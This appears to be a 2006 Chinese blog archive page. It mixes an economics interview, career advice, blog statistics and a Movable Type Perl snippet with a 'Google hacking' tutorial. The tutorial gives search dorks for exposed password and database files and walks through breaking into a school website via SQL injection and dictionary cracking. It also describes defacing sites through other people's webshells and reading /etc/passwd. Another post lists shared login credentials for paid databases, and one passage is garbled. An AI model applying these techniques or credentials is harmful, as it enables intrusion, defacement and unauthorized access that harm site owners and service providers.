如果中国实行人民币可自由兑换,同时引导外贸以人民币为结算工具,人民币是否会打破美元的霸主地位?蒙代尔对此表示,现在的人民币还没有机会来撼动美元的地位,因为美元在当今世界上是第一大货币,其后是欧元,再往后是日元,接下来是英镑,人民币排在第五位。所以中国可能还需要一定的时间,大概是20年或更长的时间才能赶上。他说:“人民币和美元进行挂钩,我认为有其优势,因为中美两国的货币占到世界金融的30%左右,这样做对维护世界金融市场的稳定很有帮助。”

中国要均贫富就要给农民机会

随着中国经济的迅猛发展,贫富分化问题越来越成为一个需要直面的社会主要问题。美国也曾经历这一经济发展中的必然阶段。那么,对于中国怎样做才能缩小和弥合横在穷人和富人之间的鸿沟?蒙代尔有何高招呢?

他认为:“这一鸿沟确实存在,因为中国东部沿海地区的发展比内地要快得多,这是一国经济迅速发展过程中不可避免的。关键问题是,要尽快使那些贫困人口脱贫。我的办法是:给那些贫困地区的人们,尤其是农民,和城里人同样拥有更多私人财产的机会。比如,适当放宽土地政策,让那些世代务农的农民拥有属于自己的土地,这不仅能真正提高他们挣钱的能力和积极性,也会给社会稳定增加安全因素。”

蒙代尔直率地说:“我想有些法律是需要改变的,政府既然能制订法律就能修改法律。两三年前,中国的全国人代会讨论了一项法律,即个人虽不能拥有土地所有权,但可租用土地,最长可达30年。如果这一规定在中国农村被广泛实施,那么农民的生活就会改善很多。此外,大力提高乡村的学校教育和医疗服务质量,对于缓解贫富差距带来的社会问题,也至关重要。” (刘坤喆)

February 25, 2006

用GOOGLE你瞬间成为黑客

文是我通过网上收集整理。若有漏洞和不全面的地方还请多多指教!

google hacking其实并算不上什么新东西,当时并没有重视这种技术,认为webshell什么的,并无太大实际用途.google hacking其实并非如此简单...

google hacking的简单实现
使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
intext:
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页

.allintext:使用方法和intext类似.

intitle:
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网页.同理allintitle:也同intitle类似.

cache:
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特勘杲行畔⑹占夹枰玫秸飧?搜索指定类型的文件.例如输入 :filetype:doc.将返回所有以doc结尾的文件URL.当然如果找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富

info:
查找指定站点的一些基本信息.

inurl:
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:http://www.xxx.com/xxx/admin,用来找管理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.

link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL.

site:
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.

对了还有一些*作符也是很有用的:
+ 把google可能忽略的字列如查询范围
- 把某个字忽略
~ 同意词
. 单一的通配符
* 通配符,可代表多个字母
"" 精确查询

下面开始说说实际应用
以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会把一些敏感信息透露给他们.用google搜索以下内容:
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
"# -FrontPage-" inurl:service.pwd
有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的

同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站点:
intext:ZeroBoard filetype:php
或者使用:
inurlutlogin.php?_zb_path= site:.jp
来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行*作.我们可以用google搜索存在这样漏洞的程序URL:
intitle:phpmyadmin intext:Create new database

还记http://www.xxx.com/_vti_bin/..%5 ... ystem32/cmd.exe?dir吗?用google找找,你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl:winnt system32

前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:
allinurl:bbs data
filetype:mdb inurl:database
filetype:inc conn
inurl:data filetype:mdb
intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后台.


利用google完全是可以对一个站点进行信息收集和渗透的,下面我们用google对特定站点进行一次测试。
首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
site:xxxx.com
从返回的信息中,找到几个该校的几个系院的域名:
http://a1.xxxx.com
http://a2.xxxx.com
http://a3.xxxx.com
http://a4.xxxx.com
顺便ping了一下,应该是在不同的服务器.学校一般都会有不少好的资料,先看看有什么好东西没

site:xxxx.com filetype:doc
得到N个不错的doc。

先找找网站的管理后台地址:
site:xxxx.com intext:管理
site:xxxx.com inurl:login
site:xxxx.com intitle:管理
超过获得2个管理后台地址:
http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp

还算不错,看看服务器上跑的是什么程序:
site:a2.xxxx.com filetype:asp
site:a2.xxxx.com filetype:php
site:a2.xxxx.com filetype:aspx
site:a3.xxxx.com filetype:asp
site:.......
......
a2服务器用的应该是IIS,上面用的是asp的整站程序,还有一个php的论坛
a3服务器也是IIS,aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的:
site:a2.xxxx.com intext:ftp://*:*
没找到什么有价值的东西。再看看有没有上传一类的漏洞:
site:a2.xxxx.com inurl:file
site:a3.xxxx.com inurl:load
在a2上发现一个上传文件的页面:
http://a2.xxxx.com/sys/uploadfile.asp
用IE看了一下,没权限访问。试试注射,
site:a2.xxxx.com filetype:asp
得到N个asp页面的地址,体力活就让软件做吧,这套程序明显没有对注射做什么防范,dbowner权限,虽然不高但已足矣,back a shell不太喜欢,而且看起来数据库的个头就不小,直接把web管理员的密码暴出来再说,MD5加密过。一般学校的站点的密码都比较有规律,通常都是域名+电话一类的变形,用google搞定吧。
site:xxxx.com //得到N个二级域名
site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
site:xxxx.com intext:电话 //N个电话
把什么的信息做个字典吧,挂上慢慢跑。过了一段时间就跑出4个帐号,2个是学生会的,1个管理员,还有一个可能是老师的帐号。登陆上去:
name:网站管理员
pass:a2xxxx7619 //说了吧,就是域名+4个数字
要再怎么提权那就不属于本文讨论访问了,呵呵,到此为止。


这段时间在国外的一些google hack的研究站点看了看,其实也都差不多是一些基本语法的灵活运用,或者配合某个脚本漏洞,主要还是靠个人的灵活思维。国外对于google hack方面的防范也并不是很多,所以大家还是点到为止,不要去搞破坏拉,呵呵。对于一些在win上跑apache的网管们应该多注意一下这方面,一个intitle:index of就差不多都出来了
1.查找利用php webshell

intitle:"php shell*" "Enable stderr" filetype:php

(注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中,你能找到很多直接在机器上执行命令的web shell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:

echo "召唤" > index.jsp

现在看看首页,已经被我们改成: "召唤" 了。

我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file

echo "test" >> file

这样一条条打出来,站点首页就成功被替换了。同样的也可以

uname -a;cat /etc/passwd

不过有点要注意,有些WEBSHELL程序有问题,执行不了的,

2.搜索INC敏感信息

在google的搜索框中填入:

Code: .org filetype:inc

胡戈馒头问世!!!

我是先看了胡戈兄的《馒头血案》后来去看抢版的《无极》的,看了几十分钟,实在没有兴致把它看完了,只觉得没意思……不如馒头血案来得经典。
后来我就把馒头血案介绍给朋友看,甚至女友的电脑中,无极的文件夹里放了一个无极电影,一个馒头血案。:)
当时就想,馒头血案一定会红极一时的,果然,馒头现在很流行,以至于苏州还有了胡戈馒头商标品牌了呢,联想前段时间的苏丹红、禽流感,现在国人的炒作和操作能力的确有很大的长进呵……

The Blog Herald发布Blog服务商排名数据

The Blog Herald 也发布了Blog服务商的数据,按主机排名,

当然数据的准确性也是见仁见智。

                   主机 数量(万)
Xanga 4000
MySpace 2000-3000
MSN Spaces 1800
Blogger 1500 +
赛我网(韩语) 1300
SixApart 1100
Planet Weblog Service(韩语) 600
Yahoo Blogs Korea(韩语) 300
Skyblog 300
Bokee(汉语) 200
Greatest Journal 116
其他美国的Live Journal克隆站 100
onet.pl(波兰语) 82.5
Persian Blog(阿拉伯语) 52

February 24, 2006

今天终于决定把rss源换到了这里

换到mt已经有几天了,但是feed地址一直没有换到这里,怕影响了读者的阅读(虽然在原来的donews已经很少更新了),再一个原因是不想草草就把网友带到这个荒芜的地方,所以经过几天的大跃进现在终于可以给朋友新的feed地址了。但愿大家能接受。以后我们在此更加努力地写,尤其是原创的东西一定会增加分量,不枉大家的关注:).
也感谢feedburner的技术,的确不错,技术方便网络生活哦。原来在donews上的文章我还是会尽可能用方法导入过来,增加这个blog的分量吧。feedburner.gif

February 23, 2006

俺也学习How to use the Google API inMovable Type

咳,不得不承认技术的重要性。没有学习到自己喜欢的计算机知识……算了,先把文章放到这,等以后再来读懂它吧!
How to use the Google API inMovable Type
Created by Josh Cooper

This is my third Hack for Movable Type.

I found out today when I got home from work that Google had implemented an API. I then found this
perl example of it being used, at Scripting.com. That is where I got most of the code and changed it to
make it work with MovableType.

There are 2 Files that will need to be edited for this. As always backup your files first.

/lib/MT/Util.pm
/lib/MT/Template/Context.pm

You will also need to sign up at Google for and account and download the API development Kit here.

Once you have done that, upload GoogleSearch.wsdl to the lib/MT/ dir.

Open Util.pm in your text editor of choice and find the lines:
is_valid_email encode_php);

Now change it to this:
is_valid_email encode_php google_search);

Now add the following Sub Routine some where before the end.

sub google_search {
use SOAP::Lite;
# Configuration
my $key = 'XXXXXXXX'; # <-- PUT YOUR KEY HERE
my $query = 'google API'; # Type in your search term here
my $max = 10; # Max number of results

# Redefine how the default deserializer handles booleans.
# Workaround because the 1999 schema implementation incorrectly
#doesn't accept "true" and "false" for boolean values.
# See http://groups.yahoo.com/group/soaplite/message/895


*SOAP::XMLSchema1999::Deserializer::as_boolean =
*SOAP::XMLSchemaSOAP1_1::Deserializer::as_boolean =
\&SOAP::XMLSchema2001::Deserializer::as_boolean;
# Initialise with local SOAP::Lite file
my $service = SOAP::Lite
-> service('file://home/fullpathhere/mt/lib/MT/GoogleSearch.wsdl');

my $result = $service
-> doGoogleSearch(
$key, # key
$query, # search query
0, # start results
$max, # max results
SOAP::Data->type(boolean => 'false'), # filter: boolean
"", # restrict (string)
SOAP::Data->type(boolean => 'false'), # safeSearch: boolean
'', # lr
'latin1', # ie
'latin1' # oe
);

# $result is hash of the return structure. Each result is an element in the
# array keyed by 'resultElements'. See the WSDL for more details.
my $list = "";
if(defined($result->{resultElements})) {
my $i = 0;
while ($i <= $max -1) {
$list = "$list{resultElements}->[$i]->{URL}\">$result->{resultElements}->[$i]->{title}<\/a>
";
$i++;
}
}
$list;
}

Now Save and Close that file.

Now open Context.pm

Now find this line:

spam_protect encode_php);

And edit it to look like this::
spam_protect encode_php google_search);

Now in the init_default_handlers subroutine Add the following before the bottom
$ctx->register_handler(GoogleSearch => \&_hdlr_google_search);

It should now look like this:

$ctx->register_handler(CategoryCount => \&_hdlr_category_count);


$ctx->register_handler(GoogleSearch => \&_hdlr_google_search);

Next Add the subroutine before the bottom :

sub _hdlr_google_search {
my $gs = google_search;
}

Now save and exit this file.

To use this in your Template simple use this tag: <$MTGoogleSearch$>

The next time you rebuild your template you should see something simular to this, depending on which
search term you used.

听李开复说话:想成为企业家需要具备哪些知识和素质

开复学习网看到了李开复这样的回答,感觉比较有价值,所以就摘录到自己的blog中。有很多网友在我的博客和我的开复学生网上留下对于职场问题的有关疑问。对此,我非常感谢大家,同时也希望尽我所能来解答大家的疑惑,试图起到一个抛砖引玉的作用。
以下就是一个有梦想的年轻人给我的留言以及我的回答。

Q: 我想成为企业家,需要具备哪些知识和素质?我应该去先创业吗?每个人都能找到自己感兴趣的行业,从而去做那个行业内的企业家吗?

A: 想成为大公司的领导,并不等同于大学应该学技术或不应该学技术。我们可以看到:在业界有很多做技术出身的人最终都成为了非常优秀的领导,例如Bill Gates、Eric Schmidt;我们也可以看到:很多不是学技术的人最终也成为了很好的领导,例如Lou Gerstner、Steve Ballmer。所以,我建议你还是应该听从于自己的兴趣,而不必去读你完全不感兴趣的学科。Bill Gates对技术最有兴趣,因此在担任了二十多年首席执行官之后,最后还是宁愿回去做技术。
至于如何成为一个成功的企业家,除了我写给大学生的三封信中的相关内容,还有几个简单的建议:
1、出国读书可以在很大程度上开拓你的视野,因此这个想法很值得考虑;但同时也必须考虑其他因素,例如很难拿到MBA奖学金等等问题。
2、除了"成为企业家",我建议你还得选择一个专业。大学可以主修你最感兴趣的科目。
3、如果你暂时对学哪个专业还不确定,那么你可以多尝试不同专业、修不同专业的课程,直到找到兴趣所在。
4、除了专业的"hard skills",我认为所谓的"soft skills"更加重要。Soft skills 就是我的信中谈到的人品、沟通、主动、EQ等等品质。当你的hard skills过时了、你的兴趣改变了、甚至你的人生目标都变了,你的soft skill将是唯一能让你从一个企业带到另一个企业的个人财产。
5、挑选几个课外活动,从中培养你的soft skills。
6、暑期可以去杰出的企业打工,当然,必须选择能够学习到知识的打工,而不是去麦当劳等支付劳力的地方。打工实际学到的知识可能远远超过大学课程知识。每年可以去不同的公司,以便亲身接触到不同的优秀企业文化。
7、毕业后,不要急于创业。考虑加入杰出的企业。尽量挑选那些给予专业的员工培训的公司,追随一个肯教你很多东西的老板。
8、如果要创业,你必须有坦然接受失败和从中学习到智慧的广阔胸襟。
9、卓越的企业家必须有值得信赖的人品、值得跟随的领导力、以及以服务为宗旨的心态。企业家的工作就是服务:为客户服务,为股东服务,为员工服务。
最后,我不赞成你现在就去创业。要做企业家,并不表示一定要去开一个高科技公司。很多企业家--例如 Carly Fiorina、Lou Gerstner等等,他们都是在大公司里从底层做起的。你的经验目前尚浅,自己去开公司的成功率必然很小。同时,从你的字里行间,我可以看出你不愿冒太大的风险,所以我建议你在大公司学习是最合理的积累经验的方式。建议你找一家愿意给员工提供专业培训的大公司,这样也能让你做很多不同类型的工作、换许多不同的部门(据我所知,很多公司允许员工1-2年在内部更换一次部门)。这样,一方面你可以找到你的激情,另一方面你也可以相对全面地培养自己成为企业家所需的各种素质。

Create your own web pages, quickly and easily

无意间发现的,很好玩,不过我不会认真用的,可惜了。cnjiao.googlepages.com
Google Page Creator is a free online tool that makes it easy for anyone to create and publish useful, attractive web pages in just minutes.

No technical knowledge required.
Build high-quality web pages without having to learn HTML or use complex software.
What you see is what you'll get.
Edit your pages right in your browser, seeing exactly how your finished product will look every step along the way.
Don't worry about hosting.cnjiao blog

Your web pages will live on your own site at http://yourgmailusername.googlepages.com
Google Page Creator is still in an early testing phase. If you're interested in taking it for a test drive, login with your Gmail account to begin making pages. If you don't have a Gmail account, never fear -- you can sign up here. We invite you to let us know what you think by sending us your feedback and suggestions.

February 22, 2006

转载一篇学术资源

还没有试呢,也许有的已经过期。发现过期的顺便告诉我一声,谢了。
国家标准下载总结
  
  1、食品标准
  http://www.foodmate.net/standard
  
  2、钢铁全文标准查询
  http://www.fld801.com/bzcx.htm
  
  3、建筑规范
  http://www.geosouth.net/archcode/gcjsbz/gcjsbzml01.htm#sj
  
  4.工程建设
  http://www.gisroad.com/dl_guifan.htm
  
  5.国家标准数据库
  http://dbsvr.ynst.net.cn:6006/
  
  6.验收规范
  http://gs66.com/_ca_a9_b9_a4_d1_e9_ca_d5_b9_e6_b7_b6.html

  超星
  
  http://202.120.96.59/book.asp?lib=100902&page=2
  
  http://202.196.100.11/bookhtm/gjsearch.asp

  中国专利全文
  
  http://www.patent.com.cn
  
  用户名:zzgc 密码:zzgczl(高级用户)

  
  其他
  
  香港学术期刊网(1872——2004) http://sunzi1.lib.hku.hk/hkjo/
  
  中经网党委版 http://lib.gddx.gov.cn/zhongjingwang.htm
  
  药品行政保护数据库 http://www.meinet.com.cn/message/ypxzbh/xzbh_query.asp
  
  最新金融资讯 http://218.66.59.34/info/200408/0803/
  
  中医学网站 (很多资料)http://btwsy.nease.net/zyx/zhongyaoxue.htm
-- 作者:gao
-- 发布时间:2004-10-19 9:49:53

--
##########中国经济信息网专用密码和账号########
  http://newibe.cei.gov.cn/index/index.asp  
     帐号jsswdx 与密码jsswdx
  zgjlxy/zgjlxy
  
  ################## 奥博图书馆的账户密码################
    
     奥博图书馆 http://218.22.180.110:86/
    
     账户密码都是TEST
  
  ############### webmd药学数据库 #################
    
    http://my.webmd.com/webmd_today/home/404?ourl
  
  #################### 中国联合经济研究网 ##################
    
  http://www.bjeicu.com/ 用户名:yzhyw128 密码:03a901zf
  
  #################### 中国宏观经济信息网 ##################
    
    http://211.155.255.48/program/index.asp
    
    登入信息:cdut
  #################### 北京金报兴图网 #######################
    
    
    http://www.goldennews.com.cn/
    
    用户名/密码:ustb/ ustb
  
  ###################台湾成功大学光纤通讯实验室#############
    
    台湾成功大学的光纤通讯实验室,里面有很多实用光纤通讯教学资
    
    料,对于搞光纤通讯的朋友值得一看。
    
    http://fiber.ee.ncku.edu.tw/
  ######################## OCLC数据库 ########################
    
    http://firstsearch.oclc.org/FSIP
    
    Login ID: 100234345
    
    Password: PUNY5TEST
  ############### 台湾的:物理双月刊(免费下全文) ##########
    
    http://psroc.phys.ntu.edu.tw/bimonth/index.html
  ##################### 苏州图书馆 ######################
    
    http://cgrs.szlib.com/
    
    点成员进入
    
    用户名: KJXY 密码: KJXY
  
  #################### 国家科技图书文献中心 ##################
  http://www.nstl.gov.cn/qwsj.htm
  外文过刊,可看全文
  ################## 中国医药数字图书馆 ####################